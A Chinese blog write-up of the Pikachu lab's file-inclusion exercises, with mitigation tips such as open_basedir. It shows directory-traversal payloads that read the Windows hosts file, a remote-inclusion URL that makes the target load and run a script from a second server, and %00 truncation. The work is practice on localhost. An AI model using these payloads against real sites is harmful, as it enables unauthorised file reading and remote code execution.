首页 > 其他分享 >pikachu file include——文件包含靶场练习

pikachu file include——文件包含靶场练习

时间:2022-08-20 10:59:21浏览次数:62  
标签:文件 php 包含 .. pikachu E6% file include

文件包含本质就是代码注入,原理:注入一段用户能够控制的脚本或代码,让服务器端执行。

1.本地文件包含漏洞——能够打开并包含本地文件的漏洞

测试pikachu文件包含靶场:

①随机选择,出现文件包含

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

②修改file2.php可以造成文件读取(结合目录遍历漏洞,如果被过滤可改变编码方式)
尝试读取本机host文件

 ../../../../Windows/System32/drivers/etc/hosts

由于不知道文件包含几级路径,因此多次尝试增.//

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename= ../../../../../Windows/System32/drivers/etc/hosts
&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

③成功获取本地HOST

④漏洞避免

a.避免目录遍历漏洞:

开启open_basedir,作用限制在某个特定目录下PHP能打开的文件,作用与safe_mode是否开启无关。

注意:open_basedir的值是目录的前缀。

b.避免任意文件包含:

尽量避免包含动态的变量,尤其是用户可以控制的变量。

如:open_basedir值采用枚举方式,PHP可打开的文件被枚举出来,也就避免了任意文件包含的风险。

2.远程文件包含

 如果PHP配置选项allow_url_include为ON,则include/require函数可以加载远程文件,即存在远程文件包含漏洞。

测试pikachu文件包含靶场:

①随便打开一个文件

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

发现存在远程包含漏洞filename=include/

②在本地测试环境中,新开一个靶场当做攻击服务器(sqli-labs靶场)

攻击服务器脚本地址;

http://127.0.0.1/sqli-labs-master/www.php

③在pikachu靶场中远程加载脚本文件:

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/sqli-labs-master/www.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

④效果:

⑤也可采用目录遍历:

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=../../../../../../../www.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

效果:

 

 ⑥如果文件无法正确加载解析,可尝试在URL中使用%00截断(利用远程文件包含常用技巧)

 

标签:文件,php,包含,..,pikachu,E6%,file,include
From: https://www.cnblogs.com/Qingsui-0709/p/16583043.html

相关文章

  • 使用filezilla server搭建ftp服务器
    一、软件准备链接:https://pan.baidu.com/s/1JAoeatwaivQTa_VfTmRFTw提取码:6688二、安装Server先一路默认下一步,直到安装完成后弹出这个页面后,进行相关配置;FileZil......
  • python中 pysam包FastxFile函数
     001、读取fasta文件root@PC1:/home/test#lsa.fastaroot@PC1:/home/test#cata.fasta##测试数据>Rosalind_1ATCCAGCT>Rosalind_2GG......
  • php file_exists 检查文件或目录是否存在
    https://www.cnblogs.com/haven/archive/2012/10/24/2737140.html在我们一般正常情况下使用file_exists检查文件或目录是否存在是没有问题了,但要注意一个是安全模式和......
  • php SplFileInfo SplFileObject 关闭句柄方法
    2022年8月19日10:26:45$fileName='robots.txt';//开启句柄$file1=newSplFileInfo($fileName);echo$file1->getFilename();//关闭句柄$file=nu......
  • IO流知识:FilelnputStream单个字节读取文件
    1packageIO;23importjava.io.FileInputStream;4importjava.io.FileNotFoundException;5importjava.io.IOException;6/*7需求:读取"E:\\javaIo\\da......
  • linux下无法进入外加移动硬盘文件夹 No such file or directory
    (36条消息)linux下无法进入文件夹Nosuchfileordirectory_Katzelala的博客-CSDN博客_linux无法进入文件夹用Ubuntu系统遇到的一个小错误我们要进入一个文件夹,使用......
  • 关于:File.separator
    其实File.separator的作用相当于'\'在windows中文件文件分隔符用'\'或者'/'都可以但是在Linux中,是不识别'\'的,而File.separator是系统默认......
  • macOS最强Java开发分析软件JProfiler for Mac中文永久版
    mac软件下载:https://mac.macxf.com/mac/808.html?id=NjU2MTE%3DJProfiler11破解版可以快速的帮助用户这进行使用的过程中,分析出您的操作错误这存在的错误,以此让开发者进......
  • unityprofiler各记录函数
    EarlyUpdate.UpdatePreloadingLoading.UpdatePreloading:在异步加载/卸载场景,异步加载AssetBundle,加载AssetBundle中的Asset,加载Resource文件夹中资源,调用UnloadUnusedAss......
  • Entity Framework Classic Include
    EntityFrameworkClassic IncludeTheIncludemethodletsyouaddrelatedentitiestothequeryresult.InEFClassic,theIncludemethodnolongerreturnsan......